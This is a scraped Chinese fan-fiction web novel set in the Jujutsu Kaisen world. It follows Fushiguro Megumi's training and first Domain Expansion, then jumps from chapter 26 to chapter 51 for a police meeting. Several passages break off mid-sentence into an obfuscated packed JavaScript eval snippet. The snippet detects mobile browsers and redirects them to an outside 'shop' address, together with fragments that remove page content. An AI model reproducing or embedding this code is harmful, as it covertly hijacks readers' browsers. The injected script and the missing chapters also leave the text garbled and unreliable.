“津美纪太纵容小惠了!”五条悟语重心长的样子被津美纪无情戳破,“明明最纵容惠的就是五条先生,惠那些杂志都是五条先生给惠买的。” 五条悟讪讪地摸了摸鼻梁:“那小惠难得有喜欢的东西嘛!” 晚上,五条悟躺在房间的榻榻米上,和自家小孩一起仰望星空:“惠很喜欢星空吗?” 伏黑惠说:“星空很安静。” 五条悟怀疑自己被内涵并且要闹了! “五条先生的领域也超级好看!比星空神秘好看一万倍!” “是吗?”伏黑惠的语气中充满了敷衍。 “是圆形的,正圆形哦,里面像是微缩宇宙一样,超级好看的!”五条悟大言不惭地说。 反正进过他的领域的人和咒灵没有一个说他的领域不好看的。 “这样啊……”伏黑惠努力想象了一下,但怎么想都只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五条先生的领域是封闭式,因为他的领域是必杀领域,不是封闭式就会误伤他人。 伏黑惠第二天起床后想起昨晚的梦境,又对着禅院直毘人提供的有关十种影法术的典籍翻了半天,思考着十种影法术的领域。 禅院直毘人在训练室见到伏黑惠的时候,满意地摸了摸胡子。 教导这样的孩子很有成就感,你今天给他讲解了什么技能,第二天就能看到他在练习。 禅院直毘人细致地观察着伏黑惠:“你的式神强度有所增加。” 十种影法术的式神和咒灵操使收复了就不再进化的咒灵不一样,式神会伴随着式神使一同成长。 式神的强度增加,可能是因为式神使本人的咒力供给增强,可能是因为式神的自我进化——当然,也有可能是献祭了其他式神,获得了力量。 但最后一个选项是伏黑惠不会做的。他摸了摸「玉犬」的头,神色复杂地说:“最近任务里的咒灵,我都让玉犬吃掉了。” 禅院直毘人点了点头:“这是最快增强式神实力的方法。” 他看着伏黑惠腿边两只威风凛凛、溜光水滑的大狗,一股自豪之情油然而生,于是就在训练中对伏黑惠下手更狠了。 伏黑惠又挨了顿打,结束后召唤出「圆鹿」给自己治疗,困惑地问:“今天不实践昨天的学习内容吗?” “哦。”禅院直毘人双手交握拢在袖子里,淡定地说,“我不会「领域展开」。” 伏黑惠:…… “所以这不是升到一级咒术师必须掌握的技能吗?”伏黑惠冷静地问,顺便让「圆鹿」去给禅院直毘人治疗。 禅院直毘人摸了摸小鹿的脑袋,理直气壮地说:“领域不是用等级来衡量的,我用「落花之情」抵消领域的必中效果后也可以反杀咒灵或者咒术师。” 伏黑惠默默地看着他。 禅院直毘人话锋一转:“但你能展开领域能在咒术评级的时候就更容易获得认可。” 伏黑惠懂了,「领域」就相当于咒术的加分项,可以不会,但会了就能让人高看一眼。 禅院直毘人看着伏黑惠鞠躬后离开的背影,思考着咒术的知识他应该都教得七七八八了,应该没问题了。 伏黑惠回到自己的房间里,开始想办法给自己加量:“冥小姐,是我,伏黑惠。” “是惠君啊!”冥冥对待金主一向热情,就算金主在电话另一边看不到她的表情也还是笑容满面,“这么晚了找我有什么急事吗?” 冥冥从来不抱怨加班,因为加班等于加钱。 但伏黑惠并没有急事,只是好奇地问:“冥小姐,您会「领域展开」吗?” 他只见过五条悟的领域,在脑海中构建领域的时候不由自主地就会朝着那个方向靠近。 “我不会。”冥冥意外地挑了挑眉,“伏黑君已经开始学习「领域展开」了吗?” “只是先行了解一下。”伏黑惠默默记下这点。禅院先生和冥小姐都是一级咒术师,但都不会「领域展开」,会领域的咒术师应该不是很多。 但是禅院家有专门对付「领域」的秘术,这么看来,应该是咒灵会领域的可能性比较高。 伏黑惠转而问:“冥小姐最近有羂索的下落吗?” “没有,上次有他的消息还是在加茂家出现的时候。”冥冥也很苦恼,雇主想要调查的事一直没进展,要是对方不给钱了怎么办? 伏黑惠说:“我听说九十九小姐现在正在保护天元大人。” “是啊,天元大人也只能让人守株待兔呢。”冥冥无奈地说。 伏黑惠想了想:“那就麻烦冥小姐继续关注吧。” “好的。”冥冥眉开眼笑,主动帮雇主分忧解难,“惠君需要领域展开的资料,我这里也有一些!” “麻烦您了。”伏黑惠来者不拒,“您知道有哪个咒术师会展开领域吗?” 他觉得禅院直毘人说得有道理,他前几天才刚刚被评为二级,想要在短时间内再次升级评价就得多掌控一些看起来很震撼的咒术。 冥冥有点为难地说:“现在厉害的咒术师都在结界里面。” 伏黑惠说:“那就算了,冥小姐把资料给我就好,钱还是老样子。” 冥冥美滋滋地把有关领域的资料都打了个包给伏黑惠发过去,又是一笔钱入账。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143229|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她转念一想,又给家入硝子打了个电话:“硝子。” “冥学姐,惠君那边出事了吗?”就像伏黑惠雇佣冥冥帮他寻找羂索一样,家入硝子也拜托了冥冥关注伏黑惠。 这还是冥冥找上门来的。因为冥冥发现雇佣她的人变成了禅院惠,但付款的还是五条悟的账户。于是联系了家入硝子,得知了禅院惠还有五条悟的养子的身份。 ——身兼五条悟养子和禅院家少主双重身份,可真是个大客户啊! 冥冥跟家入硝子关系很好,禅院惠也算不上出事,所以:“这个消息就当是赠送的吧,禅院家开始让惠君学习「领域展开」了。” “这也太快了吧,而且领域也不是谁都能学会的!”家入硝子惊讶地说,“乙骨说禅院家主对惠的训练很严苛,我还以为是偶然。” 冥冥提点道:“也许是禅院直毘人判断惠君已经到了该学习领域的时候了。” “这么快?”家入硝子诧异道。 冥冥问:“五条没跟你提过这孩子的天赋怎么样吗?” “他只会夸小孩可爱,把惠君跟咒术摆在一起会像是炸毛的猫一样应激。”家入硝子吐槽道,“不过他倒是提到过惠君的学习成绩很好,可能学习好的人学什么都快吧。” 冥冥微笑着说:“如果是这样,惠君可能会最快达到一级的术师了。” “别说这种恐怖的话,冥学姐,要是五条出来之后知道他的小孩被逼到这种程度,要大开杀戒了。”家入硝子揉了揉额角,“不过现在这种情况,惠君的实力越强越好。” 家入硝子挂断电话后,深深地吸了口气,给自己点了根烟。 她看着窗外仿佛不会再亮起来的黑夜,吐出一口烟雾。 旁边的座位上,金色头发的男人开口道:“我会去一趟禅院家。” 家入硝子有点疲惫地抽着烟,关心地问:“没问题吗,七海?你的伤也才刚好,别勉强啊!” 七海建人一板一眼地说:“我答应过五条先生会在他不在的时候照看伏黑姐弟,现在再出现已经是我的失职了。” “按你这么说,五条才是更失职的那个。”家入硝子说。 24. 第 24 章 「领域展开」成为了伏黑惠新的课题,但这个课题没有之前的那么容易攻克。 因为体术训练、袚除咒灵或者调伏仪式一天都可以进行很多次,但展开领域不行。 按照禅院直毘人的说法,除了五条悟之外的咒术师,一天只能展开一次领域,需要用所有的咒力全力以赴。 但伏黑惠认为用一天的时间来试图学会「领域展开」,不如多袚除几只咒灵给玉犬吃增强实力。等他在脑海中把领域构建完毕再找时间尝试也不迟。 反正他现在距离一级咒术师还有点距离,不着急通过咒术评级。 因此,直到禅院直毘人离开禅院家的时候,伏黑惠也没有尝试过「领域展开」。 禅院家主看起来十分可惜:“真的不试试吗?说不定尝试一下能给你带来新的想法和启发。” “就算尝试也没用。”伏黑惠困惑地说,“不是您说没有把握的尝试只是在浪费时间?” “唉!”禅院直毘人唏嘘地叹了口气,“我也想看看十种影法术的领域是什么样子……” 伏黑惠无语地看着他:“都不知道我能不能学会……” “肯定能!”禅院直毘人对伏黑惠的信心比他自己还足,“你可是拥有跟‘六眼无下限’一样强大的术式,各方面肯定都会跟五条悟不相上下!” “包括身高?”伏黑惠的眼睛亮了亮。 没接触过咒术界的伏黑惠对五条悟的实力其实没什么实感,这个年龄的少年还是更关注身高。 尤其是当他有一个总是仗着自己更高摸他的头、揉他的头发、为了吸引他的注意力就抢他的东西举高高不给他的监护人的时候。 但禅院直毘人不理解这份少年人的身高执念,毕竟他距离少年时期已经很遥远了。 “嗯……”禅院直毘人想了想禅院甚尔的身高,觉得应该问题不大,于是肯定地点点头,“那当然。” 伏黑惠露出一个眉眼弯弯的笑容,看起来比知道自己的能力能比肩五条悟更开心。 禅院直毘人第一次觉得自己老了,无法理解现在的年轻人在想什么了。 他仿佛报复一般伸出手,把自己的手扣到了伏黑惠的头顶上,用力揉了揉那头比看起来柔软的多的黑发,手法像是在揉搓毛线团,生疏又粗糙。 伏黑惠的脸色沉了沉,别扭地偏开头,海胆尖尖似乎都气得更炸了一些。 “哈哈哈哈!”禅院直毘人被他的别扭劲逗得哈哈大笑,“不想让我这么对你?” 这孩子逗起来也太有意思了,毫无杀伤力的生气不就是在撒娇吗? “我不是小孩子了……”伏黑惠不高兴地说。 以往他这么说的时候,五条悟都会说“惠在我这里永远都是小孩子哦”这种听起来只会让青春期小鬼更加火大的话,这个年龄的青少年哪一个不盼望着长大呢? 但禅院直毘人跟五条悟不同,已经步入老年的咒术师谆谆教诲道:“等你比我强大,比任何人都强大,就没有人再会因为你的年龄小看你,把你当成小孩子了。” 伏黑惠脱口而出:“就像是五条先生一样吗?” 他还记得禅院直毘人说过,五条先生小时候想杀他的人很多。没有人把他单纯当作一个孩子,而是‘六眼’。 “对,就像是五条悟。”禅院直毘人脸上带着平静的漠然,“因为‘六眼’太过强大,所以没人会把他当作小孩,不如说正因为他年纪还小,所以才要先下手为强。” 伏黑惠皱紧了眉头,厌恶地说:“怪不得五条先生说高层都是烂橘子。” “那群烂橘子里不是照样有五条家的人?”禅院直毘人叹息道,“他想要靠培养出新的咒术师,让新人代替旧人来整顿咒术界,未免想得太好了。” 伏黑惠皱着眉头问:“这种做法有什么问题吗?” 禅院直毘人说:“没有人不会变,谁能保证新人上位之后不会变成旧人?他太心软了。” 伏黑惠说:“五条先生只是不想变成跟那些高层一样的人。” 禅院直毘人似是好奇地问:“哦?什么样的人?” 伏黑惠犀利地说:“高高在上掌控别人的人生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147546|193716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 这一点上不顾他的意愿把他带回禅院家的禅院先生也是一样的。 禅院直毘人失笑:“你还真是喜欢他啊!” 没想到上一代同归于尽的‘六眼无下限’和‘十种影法术’这一次关系会这么好。 这样也好,让禅院家和五条家的恩怨结束在这一代。 “才没有喜欢!”伏黑惠炸毛反驳道,“只不过……姑且算是……恩人而已。” 禅院直毘人看着嘴硬的小孩,无所谓地说:“挺好的,不然我还要担心你会不会把整个禅院家送他。” “不会的。”伏黑惠漫不经心地回答。他又不想做禅院家的家主,等五条先生出来他就该离开了,到时候再让禅院先生定下新的继任者就行了,不是一直有一个对他的存在很不满的人吗? 不过以他对五条先生的了解,五条先生应该会更加支持真希前辈。 “那我就放心了。”禅院直毘人朝着门外走去,背对着伏黑惠挥了挥手,洒脱地说,“我就当你答应了,自己留在家里加油训练吧,惠,等你够强的时候就能掌控自己的命运了。” 伏黑惠礼貌地目送禅院直毘人离去,然后思考了一下留在这里会被禅院直哉缠上的概率,毫不犹豫地选择了继续出门做任务。 “真依前辈,请问今天有什么任务吗?”伏黑惠给禅院真依拨出了电话,乘着「鵺」随风而起。 “有啊,任务这种东西永远都有。”电话另一边的禅院真依说。 在伏黑惠有了咒术评级之后,每次任务都和他一起的禅院真依几乎沦为伏黑惠的辅助监督。禅院真依对此倒没什么恶感,她本来就不想做咒术师,觉得给未来家主做副手也不是不可以。 除了伏黑惠做任务有点太卷了,不过现在也没心情去做逛街之类的娱乐活动,所以也无所谓了。 禅院真依说:“下京区那边有个二级咒灵,要去吗?” 伏黑惠答应道:“好,需要我去接你吗?” 禅院真依想起上次乘坐「鵺」的经历,敬谢不敏:“我过去找你会合。” 25. 第 25 章 「鵺」的速度比坐车快一些,毕竟车不能走直线但是鸟可以。 伏黑惠从式神身上下来,随着实力增长的感知能清晰地感觉到四周藏在窗帘后的视线。 他拿出手机看这次的任务信息,比人还高大的鸟形式神被收回去,留在身旁的是最熟悉的「玉犬」。 伏黑惠不喜欢被人盯着看,他开始思考要不要多学习一份结界术了。 最初是为了保护普通人的心灵而出现的结界,现在用来保护咒术师的隐私也是可以的吧。 他正在思考的时候,禅院真依出现了。 “真依前辈。”伏黑惠礼貌地打了个招呼。 禅院真依点了下头,熟悉起来之后跟伏黑惠也没有那么拘谨了:“到得很早啊,惠君,进去吧?” 伏黑惠却说:“真依前辈,我想请问一下,以前在袚除咒灵的时候会布下的结界……” 禅院真依意外地问:“你想学「帐」吗?” “是。”伏黑惠说。 “其实很简单。”禅院真依比出手势念道,“「由暗而生,比暗更暗,污浊残秽,皆尽祓禊。」” 黑色的薄膜从天空中的一点开始散开,暗色的薄膜将整栋房子笼罩起来,扎实地落在地面上。 四周窗户后的人们似乎终于意识到了会发生什么,纷纷收回了视线。 伏黑惠若有所思地看着「帐」在眼前形成。 “不难吧?”禅院真依看向伏黑惠。 伏黑惠认真地点头:“多谢真依前辈。” “不用客气。”禅院真依觉得伏黑惠不止是单纯感谢她帮忙落帐,但也懒得多问。 两个人走进「帐」内,暗色的结界划过身体,没有任何体感。 禅院真依说:“我还以为你今天会在大宅里接受训练。” 伏黑惠的日常行动很规律,学习知识、训练、袚除咒灵、用实践巩固训练成果……循环往复。 伏黑惠说:“禅院先生今天去东京了。” 那个家里的人都姓禅院,但能让伏黑惠尊称一声‘禅院先生’的,也就只有禅院直毘人了。 “那些高层还不消停啊……”禅院真依想起了被羂索逼得不得不逃亡的加茂宪纪,还有为了救五条悟进了结界的禅院真希。 然后她用和禅院直毘人很相似的眼神看了一眼伏黑惠,大概就是‘禅院家的未来和咒术界的未来就看你的了’这种含着希望和期待的眼神。 伏黑惠:…… 直到现在依旧认为自己不是咒术师,只是在完成和禅院直毘人的交易的伏黑惠挪开了目光:“去吧,「玉犬」。” 两只黑白狗狗撒欢一般冲了出去。 二级咒术师一定能袚除二级咒灵,现在二级的任务对伏黑惠已经没有什么难度了——除非咒灵术式特殊,不然就是拿来喂玉犬的狗粮。 把整栋房子清了一遍之后,禅院真依问伏黑惠是要回去还是继续。 这是一个答案明确的问题。 两个人出于不同的原因都不喜欢那栋宅子。伏黑惠还没有入学,不能回咒术高专,与其回去还不如多袚除几只咒灵。 禅院真依说:“我看看附近有没有二级咒灵的任务,不行的话再往远处找找,或者你可以去高专里训练。反正你肯定是要入学的,只是提前用一下设备而已。” 如果禅院真依不说最后一句话,伏黑惠还可以答应,现在他只能拒绝了后一个选项。 伏黑惠:我从没说过自己会去咒术高专上学啊! 伏黑惠已经打算好了,等他成为一级咒术师就会去东京找津美纪。如果可以的话,他想要让津美纪去国外继续读书。 他可以留在日本,一边继续完成跟禅院先生的交易,一边继续学业。 他还是想跟咒术界保持一定的距离。 五条先生也说过,强大的人有任性的资格。 虽然伏黑惠不太习惯这种行事作风,但现在接触过咒术界的他认为五条先生说得很有道理。 禅院真依跟‘窗’沟通过后,找到了一个在郊外的二级咒灵,是在山间。 最后禅院真依还是坐上了「鵺」,因为可以省掉爬山的时间。 「鵺」在山间降落,目的地的洞口爬满了青苔和藤蔓,在冬日里依旧青翠一片。 “里面光线不好,不过二级的话,靠「玉犬」也够了。”禅院真依说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一股压迫感席卷而来,禅院真依躲在式神的庇护下咬牙切齿地说:“这是特级!!!” 26. 第 26 章 在特级咒灵的咆哮声中,伏黑惠沉声问:“真依前辈,你伤到了哪里?” 禅院真依忍着痛意说:“……开枪的时候被反击,手腕废了。” 伏黑惠召唤出了新的式神替换了「玉犬」和「脱兔」:“「圆鹿」、「满象」。” 「满象」从天而降,“Duang”地落到地面上,把他们和特级咒灵隔绝开,朝着特级咒灵的方向喷出了鼻子的水。 「圆鹿」趁机给禅院真依治好了伤。 “「鵺」!”伏黑惠收回「圆鹿」召唤了「鵺」。鹰形式神从影子里冲出,挥动双翼,砸下雷电。水导雷电,特级咒灵发出了吃痛的叫声。 矿洞里的地形其实不太适合「鵺」的发挥,但式神自带的雷电有助于他们看清现状。 伏黑惠说:“真依前辈,你先离开……” “不,惠君,你听我说!”禅院真依说,“我来拖延时间,你快走!” 伏黑惠:“真依前辈?!” “你不能死,我没办法担负起害死少主的责任。”禅院真依冷静地说,“快走吧,这可是特级,我拼尽全力也只能拖延一瞬间而已……如果觉得愧疚的话,就答应我一件事。” 禅院真依站起身,在黑暗的洞穴里只有一个朦胧的身影。 她说:“我很讨厌真希,所以你成为家主之后要把她逐出禅院家,让她永远都不要回来了。” “……抱歉,我不能答应。”伏黑惠在她身后说,“「虾蟆」。” 「虾蟆」口中弹出长长的舌头,卷起禅院真依把她吞进了肚子里。 禅院真依挣扎道:“放开我!你以为你死了我会有什么好下场吗?!……唔!” “真依前辈,真希前辈很在意您,所以请不要放弃自己。”伏黑惠警惕地看着前方的特级咒灵,脑海中闪过津美纪的身影。 不能放弃。 如果他死在这里的话,不止是真依前辈,还有津美纪……津美纪还在等他。 五条先生被封印了,津美纪只有他了!他已经答应一定会去跟津美纪会合,如果他出事了,津美纪要怎么办?! 想想办法……一定有办法的…… 伏黑惠现在的咒力只够召唤两种式神,「虾蟆」保护着禅院真依占据了一个名额。「鵺」的雷电在「满象」打下的基础上可以给特级咒灵造成轻微的伤害,但无法袚除它…… 伏黑惠快速思考着可以使用的攻击方式,他的影子里有可以使用的咒具,但溶洞里对视线的干扰太严重了,如果是近战,咒灵攻击到他的可能性更大,这样下去根本不行,攻击打不到…… 打不到? 伏黑惠灵光一闪,那就只能试试一定能打到的办法了。 但不能是现在,得等「虾蟆」把真依前辈送出去再尝试。 他从影子里拿出一柄短刀样式的咒具,把「鵺」换回了「玉犬」。他还是跟「玉犬」配合得最默契,而且「玉犬」的嗅觉在黑暗中比较方便确定咒灵的位置。 那么就这样,在真依前辈被安全送走之前,以保护自己和节省咒力为战斗方针。 “上吧,玉犬!”伏黑惠这么说着。 禅院真依被「虾蟆」一路上连蹦带跳,用最快速度带出洞穴。没有人被式神使更清楚式神的状态,反过来也是一样的。 “惠君!”禅院真依被吐出来的时候,看到的已经是洞穴外的天光,眼睁睁看着「虾蟆」消失在影子里。 她看着近在咫尺的洞口:“可恶!”现在回去的话,不是反而白费了这段时间吗?! 禅院真依拿出手机,打电话、打电话求救……打给谁? 给她错误消息的辅助监督?去了东京的直毘人叔父?进了结界的真希?同样打不过特级咒灵的歌姬老师? 先飞快地给庵歌姬发了一封求救邮件后,禅院真依想起禅院真希在进入结界前跟她说的话,‘家入老师说伏黑是个嘴很硬的孩子,所以要是他出了什么事又不愿意求助,那就给家入老师打电话吧’。 当时禅院真希看着她的眼神似乎还想说些什么,最后只是说‘最起码有惠君在,禅院家里总算有个不是混蛋的人了。’ “混蛋真希,既然这么在乎……”禅院真依的眼泪顺着脸颊流下来,一颗一颗砸在土地上,“为什么不干脆带他一起走啊?!” 流下的泪珠没有耽误禅院真依拨出电话的动作:“家入老师……” 洞穴内部,伏黑惠喘着粗气,双手已经微微颤抖,他能感觉到自己的伤口在流血。 但是,能跟他这个二级咒术师纠缠这么久,这只特级咒灵应该也不是很强的那种。 所以,有机会! 伏黑惠感觉到了「虾蟆」回归了自己的影子里,真依前辈已经安全了。洞穴里只剩下他自己了。 伏黑惠结出手印:“「领域展开——嵌合暗翳庭」” 黑色的影子与昏暗的洞穴融为一体,如同一层黑色的薄膜一样铺开,轻薄得仿佛轻轻一戳就可以捅破。 这是伏黑惠第一次展开领域,为了保证‘必中’效果的存在,他抛弃了领域的坚固性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“伏黑君,好久不见。”七海建人迅速检查了伏黑惠的身体状况,对旁边掩饰不住担忧的禅院真依说,“惠君身上的伤不危及生命,但是咒力损耗过多,需要休息。” 禅院真依松了口气。 七海建人的表情却没有放松:“伏黑君、禅院同学,我有个消息要告诉你们,禅院家主在去东京参会的路上遭遇特级咒灵,身受重伤。” “什么?!”禅院真依瞳孔紧缩,“怎么会,叔父他……”那么强?! 她语塞了,强大如五条悟不还是被封印了,再强大的人也无法避免的…… 伏黑惠却仿佛突然想到了什么,强撑着拿出了手机。 手机的信号灯无声地闪烁着,是冥冥的邮件。 【羂索在薨星宫出现,九十九由基不敌,天元大人被同化了。——冥冥】 50-60 第51章 警视厅。 伏黑惠突然觉得一阵恶寒, 口中的话不由自主地停了。 “怎么了吗,禅院先生?”降谷零察言观色,和旁边的明智健悟交换了一个目光。 因为今天伏黑惠说是有新的任务交易, 所以除了降谷零外, 明智健悟也特意过来一起开会。 “没什么。”伏黑惠习以为常地说,只是常年积累的经验和直觉告诉他,五条悟可能又要恶作剧了。 他想了想, 还是决定速战速决, 尽快离开警视厅。 ——就算是恶作剧,当着这么多人和只有两个人还是不一样的。 伏黑惠说:“麻烦你们帮忙了, 找到这些人的所在地后通知伊地知先生就可以, 不要让他们发现, 可能会有危险。” “我们明白。”降谷零欲言又止地说, “但这些都是咒术师或者诅咒师, 如果他们用咒术隐瞒行踪的话,我们这些普通人很难发现。” 伏黑惠点了点头表示理解:“‘窗’也会关注这些人。” 降谷零面露好奇:“请问‘窗’是?” 伏黑惠说:“‘窗’是负责探查咒灵的机构, 发现咒灵和诅咒师的存在后,他们会负责上报。” 降谷零眼中划过一道流光, 似是安心似是忌惮:“这位伊地知先生是‘窗’的一员吗?” “伊地知先生是悟先生的辅助监督。”伏黑惠终于习惯改口了。 “五条悟先生吗?”降谷零担忧地说, “可是五条先生只有一个人, 如果距离太远, 可能来不及赶过去吧。” 伏黑惠说:“你们联系伊地知先生后,他会安排好的。” 明智健悟适时地问:“其实直接通知当地的咒术师才是效率最高的。现在咒术师也不必再隐瞒自己的存在, 我们可以直接联系咒术师吗?” 伏黑惠回忆了一下禅院家的任务范围:“咒术师执行任务没有地域限制,只是看谁有空闲时间。” 明智健悟若有所思:“不担心路上耽搁时间吗?” “那也没办法。”伏黑惠回想着五条悟和禅院直毘人还有夜蛾正道跟他提到过的常识,“咒术师的人手太少了。” 降谷零顶着一张人畜无害的脸,好奇地问:“那我们通知伊地知先生后, 是由五条先生进行任务安排吗?七海先生似乎提到过一个叫做总监会的机构……” 伏黑惠想起五条悟告诉他的现状,思索片刻后说:“伊地知先生应该会通知夜蛾校长,总监会现在在进行自查,可能忙不过来。” 降谷零案一脸‘原来如此’地点点头,暗中松了口气。他还以为五条悟这位最强咒术师回来之后,咒术界要转成独裁模式了。 他从七海建人和冥冥口中得知了不少有关五条悟的情报,有些情报十分一言难尽,让人感慨咒术师和普通人的标准果然不同,但也有些情报能显示出五条悟的人格魅力和领袖精神,展现出他的判断标准。 公安已经知道了五条悟在被封印之后曾经被总监会通缉,这种操作展露的政治倾向太过明显。五条悟回来之后的操作最起码能看出是个顾全大局的人。 降谷零看着伏黑惠,思考着怎么能让他帮忙递个话,跟咒术界现在的掌权人谈谈。 ——他们可以提供争权夺利的咨询服务哦。 明智健悟问:“把这些人都抓住,「死灭洄游」的结界就能结束了吗?” “悟先生会尽快破坏「死灭洄游」的结界,关注这些人是防止他们作乱。”伏黑惠说,“这些人都是千年前的咒术师,跟现在的咒术师观念不同。” 降谷零慎重地点点头。 “我们会全力配合你们的行动。”明智健悟情真意切地说,“禅院先生,等「死灭洄游」的结界解除后,请问咒术界有什么打算吗?现在民众人心惶惶,是咒术师站出来的最好时机。” 明智健悟和降谷零没打算坑他们,知道咒术师是唯一可以解决咒灵危机的人选,还打着坑对方的主意只能证明自己是个蠢货。 困在东京的公安和警视厅联合起来,还特意找了娱乐公司的精英公关,公关方案都出了三十版,是真的为他们着想,也是为了民众着想。生怕哪天双方对立起来,这些咒术师一怒之下撂挑子,他们这些人连咒灵都看不见,只能带着民众一起等死。 之前没提是因为咒术界的情况看起来也一样混乱,自顾不暇,伏黑惠也权力有限,习惯用钱做报酬做交易一般权力都不会很高,提了也没用。 现在看伏黑惠和七海建人这些咒术师的反应,咒术界应该大致稳定下来了。民众也接受了世界上有咒灵和咒术师的事实,不会太过激动,掌权的人应该也明白了面对咒灵他们无能为力,只能接受咒术师的存在…… 人类的适应性是很强的,等再过一段时间,民众适应了现在提心吊胆的日子,咒术师再站出来就晚了。 因为伏黑惠年纪小,位置又高,还跟五条悟很亲密,明智健悟和降谷零两个人详细给他进行了解释分析。 伏黑惠也不是不知好歹的人,认认真真地听着两人讲解,手边的茶水凉了又热、热了又凉,已经遗忘了之前的不祥预感。 但不详预感之所以不详就是因为它不会受自我感知而转移。 五条悟原本没想进警视厅,上次他见了这些警视厅的人,发现他们对惠没有恶意,教育孩子要学会放手嘛! 但是,五条悟不耐烦地看着时间:“惠都进去快三个小时了还不出来,他们究竟在说什么?!” 不就是说一下帮忙找人的事吗?为什么需要这么长时间?下次还是让七海继续负责和警视厅的沟通吧,惠还未成年呢! 伊地知洁高战战兢兢不敢出声,从「狱门疆」的封印里出来后,五条悟每天都很忙,甜品店还不开门,脾气也一天比一天差。 五条悟决定进去找人,他有很正当的理由:“惠再不出来就来不及在天黑之前回京都了。” “惠!”五条悟一路畅通无阻地闯进了警视厅。有上次见面做铺垫,守在门口的小林警官看了他一眼就很有眼力地把人带进来,只来得及在路上给明智健悟发了条信息。 伏黑惠愕然地看着五条悟:“悟先生,您怎么来了?” 降谷零看向明智健悟。 明智健悟一脸淡定,面带微笑,谈话的机会这不就来了吗? “我来接惠回家啊!”五条悟理直气壮地说,“我在外面等了惠好久,只是让警察帮忙找人需要这么长时间吗?” “不止是找人……”伏黑惠看向明智健悟,也不知道话题是怎么从‘让警察帮忙找人’变得这么深入的。 明智健悟起身,礼貌地和五条悟打招呼:“初次见面,五条先生,我是警视厅和咒术界沟通的负责人,明智健悟。不知道您大驾光临,耽误了禅院先生的时间,真是抱歉。” 五条悟听到这个称呼,脸上的神色就淡了些,蓝眸扫了他一眼,兴致缺缺地说:“那我就把惠接走了。” 明智健悟没有丝毫阻拦的意思,推了推眼镜,文质彬彬地说:“禅院先生,我说的有关未来合作的事情,希望您能慎重考虑。” “未来合作?”五条悟微微眯起眼睛,一股压迫感随着他的动作弥漫开来,“除了抓人之外,惠还有什么要跟警察合作的地方吗?” 伏黑惠仿佛完全没感到房间中略显诡异的氛围,坦然回答:“是有关咒术师和警方未来合作的事。” 五条悟挑起嘴角,露出一个看似礼貌实则不带任何感情色彩的微笑:“警方这么关心咒术师的未来,不如直接来找我。” 明智健悟从善如流地说:“因为禅院先生和七海先生他们都表示您太忙了,所以我们没敢打扰,如果您有时间的话,我们很乐意帮忙。” 五条悟漫不经心地问:“你们能帮上什么?” 明智健悟泰然自若地说:“我们从禅院先生口中得知,咒术界的某些运转系统似乎有些陈旧腐朽。如果需要的话,我们可以提供一些改革经验,作为参考。” 明智健悟说得已经相当直白,一方面是他们这边的需求更加急切,另一方面他们已经发现了,这些咒术师们都很……直率,说得太隐晦他们可能真的听不懂。 五条悟盯着他看了一会儿,转头问伏黑惠:“惠觉得他们的主意有用吗?” 伏黑惠谨慎地说:“我认为有一定道理。” 五条悟很痛快地说:“那就下次约时间详谈吧,你们有伊地知的联系方式。” 他答应得太干脆,让做好准备的明智健悟都有点猝不及防:“……好的,多谢您。” 五条悟带着伏黑惠转身就走,伏黑惠刚想起来,疑惑地问:“您怎么知道我在警视厅?” 五条悟振振有词地说:“我和惠心有灵犀!” 禅院家的庭院里。 禅院真依用看叛徒的眼神看着禅院真希:“奸细!” 禅院真希自觉很无辜:“我哪儿知道悟被封印一次突然变得这么变态了?!” 她给五条悟报备伏黑惠的行程是因为对方说担心,谁想到对方能直接跑到伏黑惠面前,这跟把她卖了有什么区别?! 她可是在知道这情况的第一时间就给五条悟发消息了。 【惠以后把行程连我一起瞒着,你可别算到我头上。——禅院真希】 【没事,不是还有真依吗?——五条悟】 禅院真希不知道这个人哪儿来的这么大信心,觉得真依会帮他们。跑去问禅院真依的结果就是对方一直用‘你这个叛徒’的眼神看着她。 第52章 出乎意料, 伏黑惠回来之后并没有对禅院真希说什么,反而有点心事重重的。 出去接他的禅院真希和禅院真依都看到那辆送伏黑惠回来的车里那个挥手的白毛了。 伏黑惠谢过了禅院真希和禅院真依,自己回了庭院里。 禅院姐妹面面相觑, 互相用眼神提问, 又用眼神吵了起来,最后以互相递白眼告终。 